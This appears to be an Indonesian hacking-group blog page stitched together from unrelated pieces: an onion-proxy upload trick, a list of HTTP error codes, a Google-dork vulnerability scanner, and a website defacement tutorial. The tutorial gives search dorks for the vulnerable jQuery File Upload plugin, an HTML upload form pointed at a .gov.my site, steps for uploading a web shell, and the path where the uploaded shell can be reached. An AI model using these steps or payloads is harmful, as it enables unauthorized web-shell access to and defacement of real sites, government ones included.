Defa Squad

Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb wkwkkw Mari kita Lanjut
Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php
Dork : inurl:upload site:.onion.to

 Pilih File , Abis itu URL Bebas & Klik Upload Done
https://tt3j2x4k5ycaa5zt.onion.to/uploads/03-2017/x.html
https://danwin1210.me/uploads/03-2017/x.html
sudah paham ? jika belom masuk ke grup kami saja :)  -> Defa Squad

Kumpulan Arti Kode 401, 403, 404, 406, 500, 503, 509 Pada Website
Pernahkan Kalian ? saat mengakses login admin (Site.com/admin/) tapi 403 ? saat menambahkan site.com/login.php Bisa ? tapi saat login mengakses site.com/admin/ ? Kok bisa gitu ? mari kita pelajari selengkapnya di sini :)

Error 401 : Unauthorized
Status 401 Unauthorized, menyatakan website tidak memiliki hak akses untuk folder yang diproteksi oleh password seperti saat login admin lalu muncul Authentication.

Error 403 : Forbidden
Status 403 Forbidden, menyatakan bahwa saat  mengakses ke folder tujuan. lalu muncul 403 disebabkan oleh kesalahan pengaturan hak akses pada folder.

Error 404 : Not Found
Status 404 Not Found, menyatakan  file atau folder yang diminta, tidak ditemukan didalam database pada suatu website.

Error 406 : Not Acceptable
Status 406 Not Acceptable, menyatakan  permintaan dari browser tidak dapat dipenuhi oleh server.

Error 500 : Internal Server Error
Status 500 Internal Server Error, menyatakan ada kesalahan konfigurasi pada akun hosting.

Error 503 : Service Unavaible
Status 503 Service Unavaible, menyatakan server situs web tidak tersedia sekarang. Sebagian besar waktu ini adalah karena server terlalu sibuk atau karena ada yang pemeliharaan yang dilakukan di atasnya.

Error 509 : Bandwidth Limit Exceeded
Status 509 Bandwidth Limit Exceeded, menyatakan bahwa penggunaan bandwidth pada account hosting sudah melebihi quota yang ditetapkan untuk akun hosting pemilik website.

Demikian dari saya , pada kode tersebut mohon maaf jika ada kesalahan ini kan mau masuk ramadhan jadi kita saling maaf-maafaan :) Like Fanspage Guys ^_^ di sebelah kanan :)

sumber : familyattackcyber.blogspot.co.id,

Nah untuk kesempatan kali ini saya akan membagikan tool gr3enox untuk memudahkan anda dalam mencari target hacking dengan google dork

tool ini mampu mencari web yang memiliki kerentanan

• simple sqli
• Xss
• Lfi
• Lfi Fuzz
• Rfi

inurl:”spaw2/uploads/files/”

inurl:”spaw2/uploads/files/” site:th

Okee kali ini saya akan share tutorial Deface Method Jquery File File Upload

Alat Alat :

• Default Google Dork :/assets/global/plugins/jquery-file-upload/ site:        *Kembangin lagi biar joss
• Exploit: http://targetcrotz.com/assets/global/plugins/jquery-file-upload/server/php/ atau http://target/[patch]/assets/global/plugins/jquery-file-upload/server/php/
• Script CSRF: Save dengan .html

<form method="POST" action="http://target.gov.my/public/templates/skin/plugins/jquery-file-upload/server/php/"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</

•  Shell : Pakek shell andalan kalian.. 

Langkah langkah:

• Masukan dork di atas atau dork yang sudah ente kembangin,pilih target lalu masukan exploitnya,jika vuln maka ada tulisan seperti ini: {"files":[{}] Atau {"files":[{blablablablba}]
• Masukan target anda ke script CSRF tadi
• Upload shell anda jika berhasil ada tampilan seperti ini:

• Akses shell ada di : http://targetcrotz.gov.my/assets/gobal/plugins/jquery-file-upload/server/php/files/namashellmu.php

Nih uploadanya yang saya tester tadi  :